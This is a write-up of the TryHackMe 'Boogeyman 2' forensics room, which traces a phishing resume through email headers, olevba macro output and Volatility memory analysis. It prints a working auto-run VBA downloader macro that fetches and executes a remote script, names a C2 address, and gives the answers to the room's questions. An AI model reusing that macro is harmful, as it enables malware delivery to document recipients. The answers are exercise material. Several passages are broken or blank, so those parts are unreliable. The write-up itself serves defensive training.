

## TryHackMe: Boogeyman 2

The following writeup is for [boogeyman 2](#), a room hosted on TryHackMe. Tempest challenges users to analyse the Tactics, Techniques, and Procedures (TTPs) executed by a threat group.

**Scenario:** Maxine, a Human Resource Specialist working for Quick Logistics LLC, received an application from one of the open positions in the company. Unbeknownst to her, the attached resume was malicious and compromised her workstation. The security team was able to flag some suspicious commands on the workstation of Maxine, which prompted the investigation. Given this, you are tasked to analyse and assess the impact of the compromise.

### What email was used to send the phishing email?

Firstly, you can open up the email using Evolution or you can just open it with a text editor, both options allow you to find the sender of the email:

```
From: westaylor23@outlook.com <westaylor23@outlook.com>
```

### What is the email of the victim employee?

The recipient of the email can be found by following the steps in the previous question:

```
To: maxine.beck@quicklogisticsorg.onmicrosoft.com <maxine.beck@quicklogisticsorg.onmicrosoft.com>
```

### What is the name of the attached malicious document?

```
Microsoft Word Document attachment (Resume_WesleyTaylor.doc)
```

### What is the MD5 hash of the malicious attachment?

To generate the MD5 hash of the attachment, you first need to save the document and navigate to the installation directory:

```
ubuntu@tryhackme:~$ cd Desktop/  
ubuntu@tryhackme:~/Desktop$ ls  
Artefacts Resume WesleyTaylor.doc
```

You can then use the md5sum command like as follows:

```
ubuntu@tryhackme:~/Desktop$ md5sum Resume_WesleyTaylor.doc  
52c4384a0b9e248b95804352ebec6c5b Resume_WesleyTaylor.doc
```

### What URL is used to download the stage 2 payload based on the document's macro?

As directed to in the introduction section, we can use a tool called Olevba to analyse the document. Olevba is a tool that analyses and extracts VBA macros from Microsoft Office documents.

```
ubuntu@tryhackme:~/Desktop$ olevba Resume WesleyTaylor.doc

in file: Resume_WesleyTaylor.doc - OLE stream: 'Macros/VBA/NewMacros'
-----
Sub AutoOpen()

spath = "C:\ProgramData\"
Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
With bStrm
    .Type = 1
    .Open
    .write xHttp.responseBody
    .savetofile spath & "\update.js", 2
End With

Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")

End Sub

-----
|Type      |Keyword      |Description|
|-----|-----|-----|
|AutoExec  |AutoOpen     |Runs when the Word document is opened|
|Suspicious|Open         |May open a file|
|Suspicious|write        |May write to a file (if combined with Open)|
|Suspicious|Adodb.Stream |May create a text file|
|Suspicious|savetofile   |May create a text file|
|Suspicious|Shell        |May run an executable file or a system command|
|Suspicious|WScript.Shell|May run an executable file or a system command|
|Suspicious|CreateObject |May create an OLE object|
|Suspicious|Microsoft.XMLHTTP|May download files from the Internet|
|Suspicious|Exec         |May run an executable file or a system command using Excel 4 Macros (XLM/XLF)|
|Suspicious|Hex Strings  |Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)|
|IOC       |https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png|URL|
|IOC       |update.js    |Executable file name|
|IOC       |wscript.exe  |Executable file name|
-----
```

As you can see, there is a xHttp.Open command to <https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png>:

```
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
```

**What is the name of the process that executed the newly downloaded stage 2 payload?**

Using the output from Olevba, we can see that wscript.exe is used to execute the downloaded stage 2 payload:

```
xHttp.Open "GET", "https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png", False
xHttp.Send
With bStrm
    .Type = 1
    .Open
    .Write xHttp.ResponseBody
    .SaveToFile spath & "\update.js", 2
End With

Set shell_object = CreateObject("WScript.Shell")
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
```

**What is the full path of the malicious stage 2 payload?**

```
shell_object.Exec ("wscript.exe C:\ProgramData\update.js")
```

The full path of the malicious stage 2 payload is C:\ProgramData\update.js.

**What is the PID of the process that executed the stage 2 payload?**

To answer this question, we need to use Volatility, a memory forensics tool. To find the PID of the process, we can use the pslist plugin. Before we do so, let's confirm that it is a memory dump from a Windows machine:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.info
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
Variable Value

Kernel Base 0xf8025321a000
DTB 0x1aa000
Symbols file:///usr/local/lib/python3.8/dist-packages/volatility3-2.5.0-py
Is64Bit True
IsPAE False
layer_name 0 WindowsIntel32e
memory_layer 1 FileLayer
KdVersionBlock 0xf802536443c8
Major/Minor 15.18362
MachineType 34404
KeNumberProcessors 2
SystemTime 2023-08-21 14:14:28
NtSystemRoot C:\Windows
NtProductType NtProductWinNt
PE MajorVersion 10
PE MinorVersion 0
PE MajorOperatingSystemVersion 10
PE MinorOperatingSystemVersion 0
PE Machine 34404
PE TimeDateStamp Mon Apr 14 21:36:50 2104
```

It is, so we can now use the pslist plugin like as follows:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.pslist | grep wscript.exe
4260ress112400.0 wscript.exe 0xe58f864ca0c0 6 - 3 False 2023-08-21 14:12:47.000000 N/A Disabled
```

I have piped the output to grep so we can find the PID of wscript.exe, which we know to be the binary that executed the stage 2 payload. 4260 is the PID of wscript.exe as seen here:

```
4260    1124    wscript.exe
```

Note, the first column is the PID.

### What is the parent PID of the process that executed the stage 2 payload?

We can use the pstree plugin to list all processes based on their parent process ID:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.pstree
```

```
** 596 3948 explorer.exe 0xe
*** 1440 596 OUTLOOK.EXE
**** 1124 1440 WINWORD.EXE
***** 4336 1124 WINWORD.EXE
***** 4260 1124 wscript.exe
***** 6216 4260 updater.exe
***** 4464 6216 conhost.exe
```

As you can see, 1124 is the parent PID (PPID) of wscript.exe, aka WINWORD.EXE is the parent process of wscript.exe.

### What URL is used to download the malicious binary executed by the stage 2 payload?

We already found the answer to this using Olevba:

<https://files.boogeymanisback.lol/aa2a9c53cbb80416d3b47d85538d9971/update.png>

### What is the PID of the malicious process used to establish the C2 connection?

I started by using the netscan plugin which displays open network connections:

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw netscan
```

After exploring the connections, I found updater.exe with PID 6216:

*	0	6216	updater.exe	2023-08-21 14:12:48.000000
*	0	6216	updater.exe	2023-08-21 14:12:48.000000
*	0	6216	updater.exe	2023-08-21 14:12:48.000000
*	0	6216	updater.exe	2023-08-21 14:12:48.000000
*	0	6216	updater.exe	2023-08-21 14:12:48.000000
63339	128.199.95.189	8080	CLOSED 6216	updater.exe 2023-08-21 14:15:40.000000

This is super suspicious and turns out to be the answer, but it merits more investigation.

### What is the full path of the malicious process used to establish the C2 connection?

```
ubuntu@tryhackme:~/Desktop/Artefacts$ vol -f WKSTN-2961.raw windows.dlllist --pid 6216
Volatility 3 Framework 2.5.0
Progress: 100.00 PDB scanning finished
PID Process Base Size Name Path LoadTime File output
6216 updater.exe 0xc20000 0xe000 updater.exe C:\Windows\Tasks\updater.exe 2023-08-21 14:12:48.000000 Disabled
```

As you can see, the full path of the malicious process is C:\Windows\Tasks\updater.exe.

This was found through using netscan previous:

As you can see, the local address is making a connection to 128.199.95.189 on port 8080, so the answer is 128.199.95.189:8080.

We can use the filescan plugin and pipe the output to grep so we can search for Resume\_WesleyTaylor which we know to be the name of the attachment:

Therefore, the full path of the malicious email attachment is  
C:\Users\maxine.beck\AppData\Local\Microsoft\Windows\NetCache\Content.Outlook\WQHG  
ZCFI\Resume\_WesleyTaylor (002).doc.

To find the command used by the attacker to maintain persistent access, we can use the strings utility on the memory dump and grep for schtasks (schedules commands and programs to run periodically):

The answer is therefore:

This was a really interesting room, and I much preferred it over boogeyman 1. If you have any trouble with the questions, feel free to contact me.

